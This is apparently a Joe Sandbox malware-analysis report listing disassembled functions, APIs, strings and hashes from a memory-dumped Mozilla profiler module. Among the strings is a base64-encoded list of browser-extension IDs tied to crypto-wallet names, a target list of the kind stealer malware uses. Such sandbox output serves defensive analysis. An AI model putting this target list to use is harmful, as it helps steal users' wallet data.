Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 5f3271e0b6d1972c6f9a5bf7d2f7ee605f6e000976014a997e28f346435fa738
Instruction ID: e27303789d493c5076aeb74b262a07e258456b216b98fe066c17ff9ed332aa26
Opcode Fuzzy Hash: 5f3271e0b6d1972c6f9a5bf7d2f7ee605f6e000976014a997e28f346435fa738
Instruction Fuzzy Hash: F5817A75A012199FCB04CFA8C8809EEBBF6FF89314F684269D511AB741D731E945CBA0

Function 6C99CC00 Relevance: 75.2, APIs: 25, Strings: 25, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C96582D), ref: 6C99CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C96582D), ref: 6C99CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C9CFE98,?,?,?,?,?,6C96582D), ref: 6C99CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C96582D), ref: 6C99CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C96582D), ref: 6C99CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C96582D), ref: 6C99CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C96582D), ref: 6C99CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C99CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C99CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C99CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C99CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C99CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C99CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C99CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C99CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C99CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C99CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C99CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C99CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C99CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C99CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C99CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C99CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C99CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C99CE8A

Strings

power, xrefs: 6C99CE84
ipcmessages, xrefs: 6C99CDBE
nostacksampling, xrefs: 6C99CD7C
leaf, xrefs: 6C99CC66
fileio, xrefs: 6C99CC92
audiocallbacktracing, xrefs: 6C99CDD4
noiostacks, xrefs: 6C99CCBE
notimerresolutionchange, xrefs: 6C99CE00
markersallthreads, xrefs: 6C99CE42
processcpu, xrefs: 6C99CE6E
stackwalk, xrefs: 6C99CCF8
unregisteredthreads, xrefs: 6C99CE58
nativeallocations, xrefs: 6C99CDA8
YXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZm, xrefs: 6C99CD25
mainthreadio, xrefs: 6C99CC7C
default, xrefs: 6C99CC21
seqstyle, xrefs: 6C99CCE6
fileioall, xrefs: 6C99CCA8
jsallocations, xrefs: 6C99CD0E
samplingallthreads, xrefs: 6C99CE2C
preferencereads, xrefs: 6C99CD92
screenshots, xrefs: 6C99CCD4
Unrecognized feature "%s"., xrefs: 6C99CEA0
cpuallthreads, xrefs: 6C99CE16
java, xrefs: 6C99CC37

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$YXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZm$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-3434647622
Opcode ID: 049deccd7b179f3df5266eb65aac10e76e7929683c6140fb83ff99b66d0a272e
Instruction ID: 83ba0149e1da4508ae46db8caf5da7f62224e50d92e28a20b1727d8fa29fa8dd
Opcode Fuzzy Hash: 049deccd7b179f3df5266eb65aac10e76e7929683c6140fb83ff99b66d0a272e
Instruction Fuzzy Hash: 8751A7C1B4562622FF0431157D10BAA184DEFB724AF1C443AED1AA1F90FF05E71A86B7

Function 6C9647C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C964801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C964817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C96482D
__Init_thread_footer.LIBCMT ref: 6C96484A

Part of subcall function 6C98AB3F: EnterCriticalSection.KERNEL32(6C9DE370,?,?,6C953527,6C9DF6CC,?,?,?,?,?,?,?,?,6C953284), ref: 6C98AB49
Part of subcall function 6C98AB3F: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C953527,6C9DF6CC,?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98AB7C

GetCurrentThreadId.KERNEL32 ref: 6C96485F
GetCurrentThreadId.KERNEL32 ref: 6C96487E
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C96488B
free.MOZGLUE(?), ref: 6C96493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C964956
free.MOZGLUE(00000000), ref: 6C964960
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C96499A

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

free.MOZGLUE(?), ref: 6C9649C6
free.MOZGLUE(?), ref: 6C9649E9

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C964828
MOZ_PROFILER_SHUTDOWN, xrefs: 6C964A42
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C964812
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C9647FC
[I %d/%d] profiler_shutdown, xrefs: 6C964A06

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 2fbc5fb9be08767893a91cb3a760ae8df8be2b8a6196d0d2bf022ff6f6b5cabf
Instruction ID: 08453eb5f0dbc9816052d0d2f3ad419fc9f7ccd014a6fa1920723bf4cc2f4576
Opcode Fuzzy Hash: 2fbc5fb9be08767893a91cb3a760ae8df8be2b8a6196d0d2bf022ff6f6b5cabf
Instruction Fuzzy Hash: D0812571A049009BEB00DFA9C86876A3775AF5232DF240229D916A7FC1D731F894CF96

Function 6C964470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C964730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C9644B2,6C9DE21C,6C9DF7F8), ref: 6C96473E
Part of subcall function 6C964730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C96474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C9644BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C9644D2
InitOnceExecuteOnce.KERNEL32(6C9DF80C,6C95F240,?,?), ref: 6C96451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C96455C
LoadLibraryW.KERNEL32(?), ref: 6C964592
InitializeCriticalSection.KERNEL32(6C9DF770), ref: 6C9645A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C9645AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C9645BB
InitOnceExecuteOnce.KERNEL32(6C9DF818,6C95F240,?,?), ref: 6C964612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C964636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C964644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C96466D
VerSetConditionMask.NTDLL ref: 6C96469F
VerSetConditionMask.NTDLL ref: 6C9646AB
VerSetConditionMask.NTDLL ref: 6C9646B2
VerSetConditionMask.NTDLL ref: 6C9646B9
VerSetConditionMask.NTDLL ref: 6C9646C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C9646CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C9646F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C9646FD

Strings

kernel32.dll, xrefs: 6C9644CD
l, xrefs: 6C964578
user32.dll, xrefs: 6C964557, 6C96463F
NativeNtBlockSet_Write, xrefs: 6C9646F7
WRusr.dll, xrefs: 6C9644B5

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: f27f717a67b20e8f9a74b2af67ba918b4ef8d69f493e4142ebe7b93006c3dbff
Instruction ID: 95f3080130d8457ce0f29acd07269db9e794ac254ff7730002b5faff1b8e1813
Opcode Fuzzy Hash: f27f717a67b20e8f9a74b2af67ba918b4ef8d69f493e4142ebe7b93006c3dbff
Instruction Fuzzy Hash: 2261F7B16087449FFB00DFA1C80AB957BB8EB4270CF24C559E505ABA91D770E6C4CFA1

Function 6C99E8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C997090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6C99B9F1,?), ref: 6C997107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C99DCF5), ref: 6C99E92D
GetCurrentThreadId.KERNEL32 ref: 6C99EA4F
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EA5C
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EA80
GetCurrentThreadId.KERNEL32 ref: 6C99EA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C99DCF5), ref: 6C99EA92
GetCurrentThreadId.KERNEL32 ref: 6C99EB11
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6C99EB3C
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EB5B

Part of subcall function 6C995710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C99EB71), ref: 6C9957AB

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99EBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6C99EBAC

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

GetCurrentThreadId.KERNEL32 ref: 6C99EBC1
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000), ref: 6C99EBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6C99EBE5
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8,00000000), ref: 6C99EC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C99EC46
CloseHandle.KERNEL32(?), ref: 6C99EC55
free.MOZGLUE(00000000), ref: 6C99EC5C

Strings

[I %d/%d] profiler_start, xrefs: 6C99EBB4
[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6C99EA9B

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: 3145cb90d335be97890469e9718d1b74dd249c376b04779be51412aa5bf88626
Instruction ID: 2aa7de54209fbba727499cebadc23d7e2544764f98b9149ff84a5c138505d6e8
Opcode Fuzzy Hash: 3145cb90d335be97890469e9718d1b74dd249c376b04779be51412aa5bf88626
Instruction Fuzzy Hash: 39A15B31704A049FDB009F28C849B6A77B5FF9631DF298129E919A7F51DB30F884CBA1

Function 6C99F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C99F8F9

Part of subcall function 6C966390: GetCurrentThreadId.KERNEL32 ref: 6C9663D0
Part of subcall function 6C966390: AcquireSRWLockExclusive.KERNEL32 ref: 6C9663DF
Part of subcall function 6C966390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C96640E

ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99F93A
GetCurrentThreadId.KERNEL32 ref: 6C99F98A
GetCurrentThreadId.KERNEL32 ref: 6C99F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99F716

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

Part of subcall function 6C95B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C95B5E0

GetCurrentThreadId.KERNEL32 ref: 6C99F739
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99F746
GetCurrentThreadId.KERNEL32 ref: 6C99F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C9D385B,00000002,?,?,?,?,?), ref: 6C99F829
free.MOZGLUE(?,?,00000000,?), ref: 6C99F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C99F866
free.MOZGLUE(?), ref: 6C99FA0C

Part of subcall function 6C965E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9655E1), ref: 6C965E8C
Part of subcall function 6C965E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C965E9D
Part of subcall function 6C965E60: GetCurrentThreadId.KERNEL32 ref: 6C965EAB
Part of subcall function 6C965E60: GetCurrentThreadId.KERNEL32 ref: 6C965EB8
Part of subcall function 6C965E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C965ECF
Part of subcall function 6C965E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C965F27
Part of subcall function 6C965E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C965F47
Part of subcall function 6C965E60: GetCurrentProcess.KERNEL32 ref: 6C965F53
Part of subcall function 6C965E60: GetCurrentThread.KERNEL32 ref: 6C965F5C
Part of subcall function 6C965E60: GetCurrentProcess.KERNEL32 ref: 6C965F66
Part of subcall function 6C965E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C965F7E

free.MOZGLUE(?), ref: 6C99F9C5
free.MOZGLUE(?), ref: 6C99F9DA

Strings

[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C99F9A6
[D %d/%d] profiler_register_thread(%s), xrefs: 6C99F71F
" attempted to re-register as ", xrefs: 6C99F858
Thread , xrefs: 6C99F789

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: adb053c41f4b996cf471cd50024806c6380a869b3b6f9227bf40ae8ed8245ea4
Instruction ID: 6b5310c5603d191f7ca0fc8477d7f63638681e90b96a7aec3afb15557e2c5248
Opcode Fuzzy Hash: adb053c41f4b996cf471cd50024806c6380a869b3b6f9227bf40ae8ed8245ea4
Instruction Fuzzy Hash: 8C81D4716047009FDB10DF24C840BAEB7B5FFA5308F59856DE849A7B51EB30E949CBA2

Function 6C99EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99EE60
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EE6D
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C99EEA5
CloseHandle.KERNEL32(?), ref: 6C99EEB4
free.MOZGLUE(00000000), ref: 6C99EEBB
GetCurrentThreadId.KERNEL32 ref: 6C99EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99EECF

Part of subcall function 6C99DE60: GetCurrentThreadId.KERNEL32 ref: 6C99DE73
Part of subcall function 6C99DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C964A68), ref: 6C99DE7B
Part of subcall function 6C99DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C964A68), ref: 6C99DEB8
Part of subcall function 6C99DE60: free.MOZGLUE(00000000,?,6C964A68), ref: 6C99DEFE
Part of subcall function 6C99DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C99DF38

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

GetCurrentThreadId.KERNEL32 ref: 6C99EF1E
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EF2B
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EF59
GetCurrentThreadId.KERNEL32 ref: 6C99EFB0
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EFBD
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EFE1
GetCurrentThreadId.KERNEL32 ref: 6C99EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99F000

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C99F02F

Part of subcall function 6C99F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C99F09B
Part of subcall function 6C99F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C99F0AC
Part of subcall function 6C99F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C99F0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6C99EED7
[I %d/%d] profiler_pause, xrefs: 6C99F008

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

